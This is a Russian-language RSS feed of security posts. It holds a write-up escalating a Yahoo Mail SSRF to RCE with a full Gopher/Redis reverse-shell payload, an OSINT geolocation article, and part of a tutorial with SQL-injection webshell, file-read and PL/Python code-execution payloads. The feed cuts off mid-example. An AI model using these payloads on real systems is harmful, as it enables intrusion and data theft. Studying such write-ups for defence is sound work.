    <img src="https://img2.teletype.in/files/1c/a1/1ca1a454-ae5f-486b-814e-8032f3d9d85c.png" width="852" />
  </figure>
  <p id="GPvE">И наконец, отрендеренная HTML-страница 🥳</p>
  <figure id="JaXH" class="m_original">
    <img src="https://img4.teletype.in/files/7e/03/7e03afa7-b256-4b4d-837f-e48745fced6a.png" width="852" />
  </figure>
  <p id="RxEC"><strong>Заключение</strong><br />В этой статье были продемонстрированы нестандартные способы использования простой XSS атаки, даже с такими сильными защитами, как HTTPOnly.</p>
  <p id="1DWS">Никогда не надо недооценивать такую простую уязвимость, как XSS, даже в современных быстро развивающихся веб-приложениях, основанных на передовых технологиях. Ваша фантазия может привести вас к новым высотам — используйте её с умом!</p>
  <p id="AxVS">Спасибо за внимание!</p>
  <p id="0pU9"><a href="https://haymiz.dev/security/2024/11/25/stored-xss-takeover/" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/7xFUhsvWBfr</guid><link>https://teletype.in/@haccking/7xFUhsvWBfr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/7xFUhsvWBfr?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Just Gopher It: Превращение слепого SSRF в RCE за 15 000 $ — Yahoo Mail</title><pubDate>Wed, 15 Jan 2025 18:05:36 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/82/ff/82ffe67a-ddf9-4a41-9ce4-139971074844.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img4.teletype.in/files/fd/42/fd42dd15-17d8-40ec-9242-2bca2a14f93d.png"></img>]]></description><content:encoded><![CDATA[
  <figure id="EWQe" class="m_original">
    <img src="https://img4.teletype.in/files/fd/42/fd42dd15-17d8-40ec-9242-2bca2a14f93d.png" width="684" />
  </figure>
  <p id="pvEM"><strong>Часть 1: Разведка</strong></p>
  <p id="6lW4">Обычно в bug bounty программе с большим скоупом я начинаю с перечисления субдоменов, чтобы увеличить площадь атаки, но в этом случае я сосредоточился на одном веб-приложении моей цели (Yahoo Mail).</p>
  <p id="vsZ7">Поскольку я ориентировался только на одно веб-приложение, я начал с инструмента <a href="https://github.com/lc/gau" target="_blank">GAU</a>, чтобы получить список URL-адресов и конечных точек. Также я просматривал различные JavaScript-файлы в поисках скрытых конечных точек и провел fuzzing директорий с помощью <a href="https://github.com/ffuf/ffuf" target="_blank">Ffuf</a>. Таким образом я нашел несколько интересных конечных точек, но ничего, что выглядело бы уязвимым.</p>
  <p id="tBAe">Так как первый метод разведки ничего не дал, я попробовал другой — тестирование различных функций веб-приложения, работая с запущенным в фоновом режиме Burp прокси. Все выполненные запросы сохраняются в организованном списке в Burp, что облегчает их просмотр и поиск чего-нибудь интересного или потенциально уязвимого.</p>
  <p id="WhFv">После тестирования функций веб-приложения я начал просматривать запросы, сохраненные в журнале прокси, и наткнулся на запрос, похожий на этот:</p>
  <pre id="JLY9">GET /xxx/logoGrabber?url=http://example.com
Host: mail.yahoo.com
...</pre>
  <p id="kNIi">GET-запрос, который принимает URL-параметр. Ответ на этот запрос выглядел так и содержит информацию о заголовке и логотипе URL:</p>
  <pre id="LLoZ">{&quot;responseTime&quot;:&quot;99999ms&quot;,&quot;grabbedUrl&quot;:&quot;http://example.com&quot;,&quot;urlInfo&quot;:{&quot;pageTitle&quot;:&quot;Example Title&quot;,&quot;pageLogo&quot;:&quot;pagelogourl&quot;}}</pre>
  <p id="jOwZ">Этот запрос сразу привлёк моё внимание, потому что он возвращал некоторые данные о URL. Каждый раз, когда вы сталкиваетесь с запросом, который возвращает информацию с URL, хорошей идеей будет протестировать его на SSRF.</p>
  <p id="5WJP"><strong>Часть 2: Обнаружение SSRF</strong></p>
  <p id="aL4J">Мои первые попытки эксплуатации SSRF не увенчались успехом. Мне удалось наладить внешнее взаимодействие с моим сервером, но не удалось достучаться до внутренних IP-адресов из-за наличия защиты.</p>
  <p id="mmOl">После того как я не смог попасть на внутренние IP-адреса, я решил попробовать атаковать публично известные корпоративные субдомены Yahoo. Я провел перечисление субдоменов и затем начал отправлять запросы ко всем найденным доменам.</p>
  <p id="vx0J">В какой-то момент мне повезло, и я обнаружил запросы, которые возвращали данные о заголовке с сайтов, которые не были публично доступны.</p>
  <p id="rHUU">Хороший пример этого — субдомен somecorpsite.yahoo.com. Когда я пытался зайти на <a href="http://somecorpsite.yahoo.com" target="_blank">http://somecorpsite.yahoo.com</a> в своем браузере, запрос просто завершался по тайм-ауту. Но когда я отправил запрос:</p>
  <pre id="MQ7v">GET /xxx/logoGrabber?url=http://somecorpsite.yahoo.com
Host: mail.yahoo.com
...</pre>
  <p id="FP8C">Ответ содержал внутренний заголовок и информацию о логотипе:</p>
  <pre id="8SFV">{&quot;responseTime&quot;:&quot;9ms&quot;,&quot;grabbedUrl&quot;:&quot;http://somecorpsite.yahoo.com&quot;,&quot;urlInfo&quot;:{&quot;pageTitle&quot;:&quot;INTERNAL PAGE TITLE&quot;,&quot;pageLogo&quot;:&quot;http://somecorpsite.yahoo.com/logos/logo.png&quot;}}</pre>
  <figure id="9pcv" class="m_original">
    <img src="https://img3.teletype.in/files/65/ea/65eaa2ee-9b47-4d3d-ba19-65991c02b71a.png" width="204" />
  </figure>
  <p id="AVtQ">Теперь, когда я смог получить доступ к внутренним поддоменам, чтобы увидеть заголовки и URL-адреса логотипов, я решил отправить отчет о слепой SSRF (Server-Side Request Forgery). Внутренняя информация о заголовке не содержала ничего слишком конфиденциального, и никакое другое содержимое страниц не было возвращено, поэтому я предположил, что это будет считаться довольно малозначительным слепым SSRF. Однако у меня закончились идеи, как это можно было бы усугубить, и я решил отправить отчет в текущем виде.</p>
  <p id="TIBU">Спустя некоторое время отчет был принят и отправлен на рассмотрение.</p>
  <p id="5qVt"><strong>Часть 3: RCE (Удалённое выполнение кода)</strong></p>
  <p id="wUh8">Прошел примерно месяц с тех пор, как мой первоначальный отчет был принят на рассмотрение. Я был рад, что его триажировали, но понимал, что воздействие низкое, и, скорее всего, я не получу от этого ничего значительного.</p>
  <p id="Wb6D">SSRF всё ещё оставался и не был исправлен, поэтому я решил провести дополнительные исследования, чтобы попытаться раскрутить уязвимость. В процессе исследований я узнал, что протокол Gopher является отличным способом для эскалации SSRF, и в некоторых случаях это может привести к полному удалённому выполнению кода (RCE).</p>
  <p id="ePdS">Чтобы проверить, поддерживается ли протокол Gopher, я отправил запрос, подобный следующему:</p>
  <pre id="6xtn">GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: mail.yahoo.com
...</pre>
  <p id="rpLC">К сожалению, запрос сразу завершился неудачей и привел к ошибке. Запроса к моему Burp collaborator так и не поступило, поэтому казалось, что протокол Gopher не поддерживается.</p>
  <p id="JZLp">Продолжая тестирование, я прочитал в интернете, что перенаправления могут быть отличным способом обхода некоторых мер защиты от SSRF, поэтому решил проверить, следит ли сервер за перенаправлениями.</p>
  <p id="lFnQ">Чтобы проверить, работают ли перенаправления, я настроил Python HTTP-сервер, который перенаправлял весь GET-трафик на URL моего Burp collaborator с кодом 302:</p>
  <blockquote id="65ad">python3 302redirect.py port “<a href="http://mycollaboratorurl/" target="_blank">http://mycollaboratorurl/</a>”</blockquote>
  <p id="OfvN">Затем я отправил запрос, подобный следующему, чтобы проверить, приведёт ли редирект к моему collaborator:</p>
  <pre id="jd1g">GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...</pre>
  <p id="zynP">После отправки запроса я заметил, что редирект был выполнен, в результате чего был зафиксирован запрос на мой Burp Collaborator. Таким образом, я подтвердил, что редиректы с кодом 302 выполняются…</p>
  <p id="pBpv">Теперь, когда у меня заработали редиректы, я решил протестировать это с протоколом gopher. Первоначальная отправка gopher-пэйлоада напрямую в запросе вызывала ошибку сервера, поэтому я настроил сервер редиректов следующим образом:</p>
  <blockquote id="35e5">python3 302redirect.py port “gopher://mycollaboratorurl/”</blockquote>
  <p id="W2Rl">Затем снова отправил запрос на мой сервер</p>
  <pre id="BXWk">GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...</pre>
  <p id="SCz9">К моему удивлению, запрос был успешным — редирект сработал, и я получил запрос на URL моего Burp Collaborator! Был какой-то фильтр против URL с Gopher протоколом, но если я перенаправлял с собственного сервера, фильтр легко обходился; редирект срабатывал, и Gopher-пейлоад выполнялся!</p>
  <p id="x0YZ">Через редирект выполнялись не только Gopher-пейлоады. Я осознал, что теперь могу обращаться и к внутренним IP-адресам, таким как 127.0.0.1, которые ранее были отфильтрованы.</p>
  <figure id="3urk" class="m_original">
    <img src="https://img4.teletype.in/files/3d/60/3d600da4-6dde-4b73-a37a-0b03940a5d2e.png" width="485" />
  </figure>
  <p id="HD7A">Теперь, когда у меня начали работать полезные нагрузки и я мог обращаться к внутренним хостам, мне нужно было выяснить, с какими сервисами я мог взаимодействовать для эскалации. После некоторых поисков я наткнулся на инструмент Gopherus, который генерирует полезные нагрузки Gopher для эскалации SSRF. Он включает полезные нагрузки для следующих сервисов:</p>
  <p id="hxIS">- MySQL (порт 3306)<br />- FastCGI (порт 9000)<br />- Memcached (порт 11211)<br />- Redis (порт 6379)<br />- Zabbix (порт 10050)<br />- SMTP (порт 25)</p>
  <p id="odL2">Чтобы определить, открыты ли какие-либо из этих портов на 127.0.0.1, я использовал SSRF и время отклика для сканирования портов.</p>
  <p id="2iCz">Для этого я выполнял 302 редирект с моего веб-сервера на gopher://127.0.0.1:порт, а затем отправлял запрос.</p>
  <pre id="Zjwr">GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...</pre>
  <p id="NlnC">Я мог определить открытые порты, потому что время отклика запроса было долгим, если порт закрыт, и коротким, если порт открыт. Используя этот метод сканирования портов, я проверил все 6 указанных выше портов. Один из портов, похоже, был открыт — порт 6379 (Redis).</p>
  <pre id="xq7r">302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…</pre>
  <p id="MmKk">Теперь всё стало выглядеть действительно хорошо. Казалось, у меня есть всё, что нужно:</p>
  <p id="qo33">- Протокол Gopher, принимающий 302 редирект<br />- Возможность отправлять gopher-пейлоады на localhost<br />- Идентифицирована потенциально уязвимая служба, работающая на localhost</p>
  <p id="ONsD">Используя Gopherus, я сгенерировал пейлоад для реверс-оболочки Redis, который в итоге выглядел так:</p>
  <pre id="dRLi">gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A</pre>
  <p id="EZZz">Если бы этот пейлоад оказался успешным, это привело бы к выпонению обратной оболочки (reverse shell) на мой netcat. Я запустил свой сервер для выполнения 302 редиректа на gopher-пейлоад следующим образом:</p>
  <pre id="KVPg">python3 302redirect.py port &quot;gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A&quot;</pre>
  <p id="WKdF">Как только мой веб-сервер был запущен, я также начал слушать на порту 1337 с помощью Netcat, чтобы поймать любой входящий обратный шелл.</p>
  <p id="No6F">И вот, наконец, момент истины. Я отправил запрос:</p>
  <pre id="5Kpk">GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...</pre>
  <p id="0rtH">И… ничего. Ничего не произошло. Я увидел, что запрос пришел на мой сервер перенаправления, но обратного шелла к моему Netcat так и не вернулось. На этом все, подумал я. Никакого RCE.</p>
  <p id="S6JR">Я предположил, что, возможно, мой скан портов дал ложноположительный результат и на localhost никакого Redis сервера не запущено.</p>
  <figure id="17mB" class="m_original">
    <img src="https://img2.teletype.in/files/55/3e/553e5fb7-75b9-434e-a214-0dac1c88b315.png" width="303" />
  </figure>
  <p id="QiiL">Я принял поражение и начал всё закрывать. Я буквально держал курсор мыши на кнопке закрытия в терминале, в котором запускался netcat, в миллисекундах от того, чтобы нажать и закрыть его, когда вдруг...</p>
  <figure id="gUA9" class="m_original">
    <img src="https://img3.teletype.in/files/e4/46/e446d77f-955d-4ddf-972c-ffbe0b717876.png" width="683" />
  </figure>
  <p id="7Dei">Честно говоря, я не понимаю, почему такая задержка, но через 5 минут после отправки запроса я получил обратную оболочку. Я так рад, что оставил слушатель включённым, иначе я бы никогда не узнал, что получил удалённое выполнение кода.</p>
  <p id="emEA">Я запустил команду whoami, чтобы убедиться, что у меня действительно есть RCE (и я был root!), а потом сразу отключился и обновил свой изначальный отчёт, добавив новую информацию.</p>
  <figure id="7VkO" class="m_original">
    <img src="https://img4.teletype.in/files/38/b1/38b1323c-2c9c-4614-9a54-d557bf43be26.png" width="507" />
  </figure>
  <p id="uoQo">Эта уязвимость была обнаружена/зарегистрирована в мае 2020 года и на данный момент закрыта как исправленная.</p>
  <p id="e5sN">В итоге я получил выплату в размере $15,000 за это обнаружение, а также несколько приятных комплиментов от The Paranoids!</p>
  <figure id="N0Fy" class="m_original">
    <img src="https://img2.teletype.in/files/9d/65/9d653df8-f5d6-4a9e-85be-1783cc399570.png" width="651" />
  </figure>
  <p id="0pU9"><a href="https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/310azJQsk80</guid><link>https://teletype.in/@haccking/310azJQsk80?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/310azJQsk80?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Геолокация места, где был убит лидер ХАМАС Яхья Синвар</title><pubDate>Sun, 12 Jan 2025 12:52:09 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/2e/c3/2ec3a4ee-a7b8-49b2-93db-8fdadbb8b2b8.png"></media:content><category>OSINT</category><description><![CDATA[<img src="https://img1.teletype.in/files/cf/c5/cfc565c5-f768-49e9-ab64-e5adfdf4667a.png"></img>17 октября 2024 года вооружённые силы Израиля (ЦАХАЛ) объявили о смерти лидера ХАМАС Яхьи Синвара в ходе операции на юге Газы.]]></description><content:encoded><![CDATA[
  <p id="GI9n">17 октября 2024 года вооружённые силы Израиля (ЦАХАЛ) объявили о смерти лидера ХАМАС Яхьи Синвара в ходе операции на юге Газы.</p>
  <p id="al8s">В рамках своего объявления медиаканал ЦАХАЛа в Telegram поделился изображениями и видео, снятыми на месте, где, как они заявили, был убит Синвар.</p>
  <p id="JY7L">Используя видео ЦАХАЛа, а также изображения, опубликованные ЦАХАЛом в их сообщении в Telegram, и ранее геолокированные добровольцами видео, можно установить местоположение дома в районе Тал ас-Султан в Газе на координатах 31.3055, 34.2467.</p>
  <figure id="sx7X" class="m_original">
    <img src="https://img1.teletype.in/files/cf/c5/cfc565c5-f768-49e9-ab64-e5adfdf4667a.png" width="734" />
  </figure>
  <p id="c2GG">Визуальные элементы предоставляют несколько подсказок для поиска геолокации дома, видимого на видео и изображениях ЦАХАЛа. Основные из них - беседка рядом с деревом и красное здание на заднем плане, рядом с пальмой.</p>
  <figure id="NfO6" class="m_original">
    <img src="https://img2.teletype.in/files/14/54/14547b6c-164e-41c0-892e-f10a7ae66cd8.png" width="732" />
  </figure>
  <p id="sRAW">На кадрах также видна, похожая на жилую, белая башня, с треугольной оранжевой крышей.</p>
  <figure id="MtSb" class="m_original">
    <img src="https://img1.teletype.in/files/43/22/43227011-e291-46f6-bee1-60b63fa21b08.png" width="727" />
  </figure>
  <p id="JhQg">Наконец, на кадрах видно здание, примыкающее к дому с характерным набором плиток на стене. </p>
  <p id="DqvO">Эти плитки также были замечены на фотографии, опубликованной военным корреспондентом Times of Israel Манни Фабианом. На этих фотографиях также был изображён мешок для тела, в котором, как утверждалось, находился труп Синвара.</p>
  <figure id="mwTV" class="m_original">
    <img src="https://img2.teletype.in/files/9b/c5/9bc5f072-2dcd-4a59-8b69-823876bbc9c9.png" width="727" />
  </figure>
  <p id="X20L">Изначально сообщалось, что инцидент, приведший к смерти Синвара, произошел в районе Таль ас-Султан в Рафахе. Поэтому мы начали поиск в этой области, ориентируясь на некоторые из вышеупомянутых визуальных признаков.</p>
  <p id="sDvr">Самым легким для поиска оказалось беседка, так как рядом с ней было дерево и она имела характерную шестигранную крышу.</p>
  <p id="ABvj">Одна из таких областей с беседкой и деревом была найдена на координатах 31.3051, 34.2466, используя изображение SkySat от Planet Labs PBC.</p>
  <figure id="F2za" class="m_original">
    <img src="https://img1.teletype.in/files/84/e0/84e0724c-5a02-47d8-8592-80fa8642f916.png" width="727" />
  </figure>
  <p id="r0Ak">С учетом того, что область интереса теперь была еще более сужена, мы начали искать ранее подтвержденные изображения или видео этого района, используя интерактивную карту, предоставленную платформой геолокации <a href="https://geoconfirmed.org/israel" target="_blank">Geoconfirmed</a>.</p>
  <p id="GTOi">Карта <a href="https://geoconfirmed.org/israel" target="_blank">Geoconfirmed</a> содержала два видео этого района, которые оказались полезными. Первое <a href="https://x.com/JoeTruzman/status/1795676207935258877" target="_blank">видео было снято в конце мая</a> и показывало вид из района возле Эмиратского госпиталя в Рафахе. В первые секунды видео можно увидеть белую жилую башню, которая, по-видимому, соответствует той, что на фоне фотографии ЦАХАЛ. Башня, расположенная на координатах 31.3055, 34.2455, была <a href="https://x.com/KJ_X23/status/1795704460125282344" target="_blank">геолокализована волонтером Geoconfirmed</a>.</p>
  <figure id="I5UK" class="m_original">
    <img src="https://img2.teletype.in/files/51/31/51313e73-3016-4d21-80be-0fc37b79161c.png" width="727" />
  </figure>
  <p id="pqKZ">Еще одно видео, предоставляющее подсказку, — это видео, снятое из машины солдатом ЦАХАЛ и выложенное в сеть в сентябре. <a href="https://x.com/NemoAnno/status/1839414112700518578" target="_blank">Маршрут, геолокализованный волонтером Geoconfirmed</a>, проходит прямо возле места, расположенного рядом с беседкой.</p>
  <p id="emyz">Более того, здание, видимое на ранее упомянутой фотографии, на которой запечатлены солдаты ЦАХАЛ около отличительных плиток, можно увидеть на видео (на отметке 1:47), геолокализованном Geoconfirmed.</p>
  <p id="0d9Z">С левой стороны экрана на видео можно увидеть здание, в котором в конечном итоге был найден Синвар. Этот дом имеет желто-белый узор, видимый как на видео из Telegram, так и на изображении с солдатами ЦАХАЛ.</p>
  <figure id="Rjjh" class="m_original">
    <img src="https://img4.teletype.in/files/b5/3d/b53dd41f-fcd4-4109-b9c5-50058be76457.png" width="727" />
  </figure>
  <p id="wluI">Идентификация этого здания была дополнительно подтверждена другим видео, позже выпущенным ЦАХАЛ, в котором <a href="https://bit.ly/3Afid7M" target="_blank">показан Синвар в момент гибели</a>.</p>
  <p id="ZsHl">В первую секунду видео видна внешняя часть здания. Сравнив с видео проезда ЦАХАЛ от сентября, мы можем сопоставить часть повреждений, которые видны на более позднем видео. Форма окон и цвет здания также совпадают.</p>
  <figure id="Zcl5" class="m_original">
    <img src="https://img2.teletype.in/files/1d/7f/1d7f9da0-db15-419a-a055-b9033fa2feda.png" width="727" />
  </figure>
  <p id="VQK3">Хотя ранее не было справочных изображений красного здания и дерева, о которых подробно говорилось, их расположение совпадает с направлением камеры, когда смотришь на юг от здания, где был убит Синвар.</p>
  <p id="f8Rx">Оба объекта можно увидеть на видео ЦАХАЛ, а также на изображениях Google Earth.</p>
  <figure id="iUXc" class="m_original">
    <img src="https://img1.teletype.in/files/ca/ed/caed029e-f7dc-451c-ac20-23274b753f55.png" />
  </figure>
  <p id="KM4x">Все эти шаги помогли нам установить дом, в котором было найдено тело Синвара. Из заявлений ЦАХАЛ и сообщений СМИ не ясно, как долго Синвар и другие убитые бойцы ХАМАС находились в здании.</p>
  <p id="00Jb">Судя по изображениям Planet Labs, можно увидеть, что ЦАХАЛ начал действовать в районе дома в конце августа и начале сентября, именно тогда здания и растительность в окрестностях дома начали разрушаться.</p>
  <figure id="n5TM" class="m_original">
    <img src="https://img3.teletype.in/files/a8/42/a842854b-3a62-494b-bd3e-c54d0d01001f.png" width="724" />
  </figure>
  <figure id="t9YF" class="m_original">
    <img src="https://img3.teletype.in/files/e0/b3/e0b3f55d-8037-40f6-9644-0315ee1a873a.png" width="724" />
  </figure>
  <p id="0pU9"><a href="https://www.bellingcat.com/news/2024/10/17/geolocating-site-where-hamas-leader-yahya-sinwar-was-killed/" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/fEjIRmwQsqx</guid><link>https://teletype.in/@haccking/fEjIRmwQsqx?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/fEjIRmwQsqx?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>5 способов получить RCE на практике</title><pubDate>Tue, 07 Jan 2025 16:17:07 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/7f/f5/7ff592a0-1057-4274-b864-d471d4622ade.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img2.teletype.in/files/17/7b/177b9d6e-1331-400d-9f35-d81beaf330aa.png"></img>Для специалистов в области offensive security обнаружение уязвимостей удалённого выполнения кода (RCE) является настоящей жемчужиной как для black-box проектов, так и для white-box. Такие уязвимости могут проявляться по-разному, но также существуют общие подходы для их обнаружения.]]></description><content:encoded><![CDATA[
  <p id="7VrE">Для специалистов в области offensive security обнаружение уязвимостей удалённого выполнения кода (RCE) является настоящей жемчужиной как для black-box проектов, так и для white-box. Такие уязвимости могут проявляться по-разному, но также существуют общие подходы для их обнаружения.</p>
  <p id="C7CV">В этой статье мы рассмотрим распространённые методы получения RCE, включая SQL-инъекции, командные инъекции, path traversal, Local File Inclusion (LFI) и уязвимости в загрузке файлов. Для каждого вектора атаки мы приведём примеры и реальные случаи из моей практики, чтобы продемонстрировать их влияние.</p>
  <figure id="pG7x" class="m_original">
    <img src="https://img2.teletype.in/files/17/7b/177b9d6e-1331-400d-9f35-d81beaf330aa.png" width="611" />
  </figure>
  <p id="HS6g"><strong>SQL-инъекция</strong></p>
  <p id="K8V5">SQL-инъекция широко известна как одна из самых известных веб-атак, предоставляющих злоумышленнику контроль над базой данных цели. SQL-инъекция может быть ещё опаснее, помимо кражи данных она позволяет злоумышленнику выполнять команды на операционной системе цели. RCE через SQL-инъекцию возможно когда злоумышленники используют запросы к базе данных для выполнения системных команд. Разные системы управления базами данных, такие как MySQL, PostgreSQL и MSSQL, обладают различными возможностями для выполнения команд на уровне операционной системы.</p>
  <blockquote id="zblU">Важно отметить, что манипуляции выполняются с сервисом SQL, а не с веб-сервером (например, Apache или Nginx). Таким образом, достижение RCE зависит от привилегий, которыми обладает SQL-сервис на целевом сервере.</blockquote>
  <p id="pR3T"><strong>MySQL</strong></p>
  <p id="zGFr">Предположим, что вы нашли оператор SELECT, который позволяет вам внедрить вредоносный запрос. У вас есть два основных направления атаки. Первый и наиболее предпочтительный — использование функции OUTFILE в MySQL. Опция OUTFILE в MySQL используется для записи результата запроса в файл на файловой системе сервера. Мы можем использовать эту функцию, чтобы записать, например webshell, выполнив что-то вроде следующего:</p>
  <pre id="Jmp4">&#x27; UNION SELECT &quot;&lt;?php exec($_GET[&#x27;shell&#x27;]) ?&gt;&quot; INTO OUTFILE &quot;/var/www/html/upload.php&quot;;</pre>
  <p id="T5Ln">У меня был случай, когда при попытке выполнить эту операцию я получал сообщения об ошибках, указывающие на то, что у службы MySQL недостаточно прав для записи файла в указанные мной каталоги. Однако после нескольких попыток изменения пути файла мне повезло найти путь, в котором я смог записать файл.</p>
  <p id="hUhW">Второй путь в случае SQL-инъекции в MySQL — использование функции LOAD_FILE(). Функция LOAD_FILE() в MySQL используется для чтения содержимого файла, находящегося на сервере, и возврата его в виде строки. Обычно она применяется для получения содержимого текстовых файлов, таких как файлы конфигурации или логи, в результате запроса. Если эта функция работает, можно попытаться использовать её для атаки path traversal с целью чтения конфиденциальных файлов с сервера, надеясь найти, например, приватные ключи SSH или пароли. Однако этот метод менее перспективен по сравнению с ранее упомянутой функцией.</p>
  <p id="PDvV"><strong>PostgreSQL</strong></p>
  <p id="RDYM">В PostgreSQL у нас также есть несколько доступных вариантов. Первый из них — использование функции COPY для создания нового файла, что весьма похоже на пример с MySQL, рассмотренный ранее:</p>
  <pre id="fZfh">1; COPY (SELECT &#x27;&lt;?php system($_GET[&quot;shell&quot;]) ?&gt;&#x27;) TO &#x27;/var/www/html/chux.php&#x27;; --</pre>
  <p id="TKbz">Для чтения конфиденциальных файлов на системе можно использовать функцию pg_read_file():</p>
  <pre id="g6Hz">SELECT pg_read_file(&#x27;/var/www/html/.env&#x27;,0,1000);</pre>
  <p id="Foac">Ещё один, более креативный способ добиться RCE в данной DBMS — использование скриптовых языков, установленных в системе, для выполнения произвольного кода. Следующий запрос может показать, какие скриптовые языки поддерживаются в целевой базе данных:</p>
  <pre id="PkHO">SELECT lanname,lanpltrusted,lanacl FROM pg_language;</pre>
  <p id="XuKY">Если на системе поддерживается скриптовый язык, вы можете использовать его для создания пользовательского скрипта, чтобы выполнить всё, что вам нужно:</p>
  <pre id="PGeN">1; CREATE FUNCTION rce() RETURNS VOID AS $$
import os
os.system(&#x27;echo pwned &gt; /tmp/chux.txt&#x27;)
$$ LANGUAGE plpythonu; SELECT rce(); --</pre>
  <p id="Zwav">Для дополнительного изучения эксплуатации скриптовых языков PostgreSQL для достижения RCE, ознакомьтесь с этим превосходным <a href="https://github.com/HackTricks-wiki/hacktricks/blob/master/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" target="_blank">руководством</a>.</p>
  <p id="aHXG">И наконец, ещё один интересный приём для PostgreSQL, который я узнал из OWASP и применил его на одном коммерческом сайте, заключается в инъекции пользовательской функции, связанной с libc.</p>
  <p id="69Ib">Чтобы реализовать это, необходимо выполнить следующие шаги:<br />    1. Создать таблицу для вывода результата (stdout).<br />    2. Запустить shell-команду, которая будет ссылаться на этот вывод.<br />    3. Использовать функцию COPY, чтобы получить результат выполнения вашей shell-команды в созданную таблицу.</p>
  <p id="uyyv">Пример с сайта OWASP выглядит следующим образом:</p>
  <pre id="GhUk">/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
